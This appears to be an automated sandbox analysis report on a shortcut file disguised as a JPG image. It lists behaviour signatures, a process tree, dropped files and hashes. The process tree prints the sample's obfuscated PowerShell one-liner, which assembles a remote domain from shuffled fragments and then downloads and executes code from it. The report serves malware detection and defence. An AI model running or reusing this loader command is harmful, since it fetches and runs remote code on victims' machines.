Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    28/07/2026, 06:41

General

  • Target
    IMG_20260728_062717.jpg.lnk
  • Size 1KB
  • Sample260728-hf5mdadj5w
  • SHA256 110e1b80a8d8e58453104975ef0c736014e2da5a44f6c4b54caad26a4797adab
  • MD5 SHA1 SHA512 TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 42 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260728_062717.jpg.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:2704
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('ow.shop','ayn','t','reservphot','oins')[3,4,2,1,0] -join $Vr7Sa) -useb | iex
      2⤵
      • Badlisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3164
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\fu12gbvr\fu12gbvr.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4348
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2B2D.tmp" "c:\Users\Admin\AppData\Local\Temp\fu12gbvr\CSC412304968B1E48358BB76C1A272DDE27.TMP"
          4⤵
            PID:5292

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          RES2B2D.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\RES2B2D.tmp
          • Size 1KB
          • SHA256 46a789ae87e970e39e0ab0b6af1286fc2c5616cd0e482b98a4055ec4012ffd7f
          • MD5 SHA1 SHA512 TLSH

          fu12gbvr.dll

          • Path C:\Users\Admin\AppData\Local\Temp\fu12gbvr\fu12gbvr.dll
          • Size 3KB
          • SHA256 728af1af843d4679d4dce8b13b931c4d89ee7afe30a47fecbac16f200bb27723
          • MD5 SHA1 SHA512 TLSH

          CSC412304968B1E48358BB76C1A272DDE27.TMP

          • Path \??\c:\Users\Admin\AppData\Local\Temp\fu12gbvr\CSC412304968B1E48358BB76C1A272DDE27.TMP
          • Size 652B
          • SHA256 149c0ce39fc26c689e1361f8e6c24586e0135c67fb8753250a9224d987b03f34
          • MD5 SHA1 SHA512 TLSH

          fu12gbvr.0.cs

          • Path \??\c:\Users\Admin\AppData\Local\Temp\fu12gbvr\fu12gbvr.0.cs
          • Size 203B
          • SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
          • MD5 SHA1 SHA512 TLSH

          fu12gbvr.cmdline

          • Path \??\c:\Users\Admin\AppData\Local\Temp\fu12gbvr\fu12gbvr.cmdline
          • Size 369B
          • SHA256 3debce2ed06ef1a1520d1c05092c36ab7a92498dc2702abbdbe0e371b6cbf41a
          • MD5 SHA1 SHA512 TLSH

          memory/3164-9-0x00007FFD40C50000-0x00007FFD415F4000-memory.dmp

          memory/3164-5-0x00007FFD40C50000-0x00007FFD415F4000-memory.dmp

          memory/3164-11-0x00007FFD40C50000-0x00007FFD415F4000-memory.dmp

          memory/3164-12-0x00007FFD40C50000-0x00007FFD415F4000-memory.dmp

          memory/3164-13-0x00007FFD40C50000-0x00007FFD415F4000-memory.dmp

          memory/3164-14-0x00007FFD40C50000-0x00007FFD415F4000-memory.dmp

          memory/3164-2-0x00007FFD40DDF000-0x00007FFD40DE0000-memory.dmp

          memory/3164-8-0x00007FFD40C50000-0x00007FFD415F4000-memory.dmp

          memory/3164-7-0x00007FFD40C50000-0x00007FFD415F4000-memory.dmp

          memory/3164-10-0x00007FFD40C50000-0x00007FFD415F4000-memory.dmp

          memory/3164-6-0x0000014AFD280000-0x0000014AFD2A2000-memory.dmp

          memory/3164-27-0x0000014AFD250000-0x0000014AFD258000-memory.dmp

          memory/3164-29-0x00007FFD40C50000-0x00007FFD415F4000-memory.dmp

          memory/3164-30-0x00007FFD40C50000-0x00007FFD415F4000-memory.dmp

          memory/3164-31-0x00007FFD40C50000-0x00007FFD415F4000-memory.dmp

          memory/3164-32-0x00007FFD40C50000-0x00007FFD415F4000-memory.dmp

          memory/3164-33-0x00007FFD40C50000-0x00007FFD415F4000-memory.dmp

          memory/3164-34-0x00007FFD40C50000-0x00007FFD415F4000-memory.dmp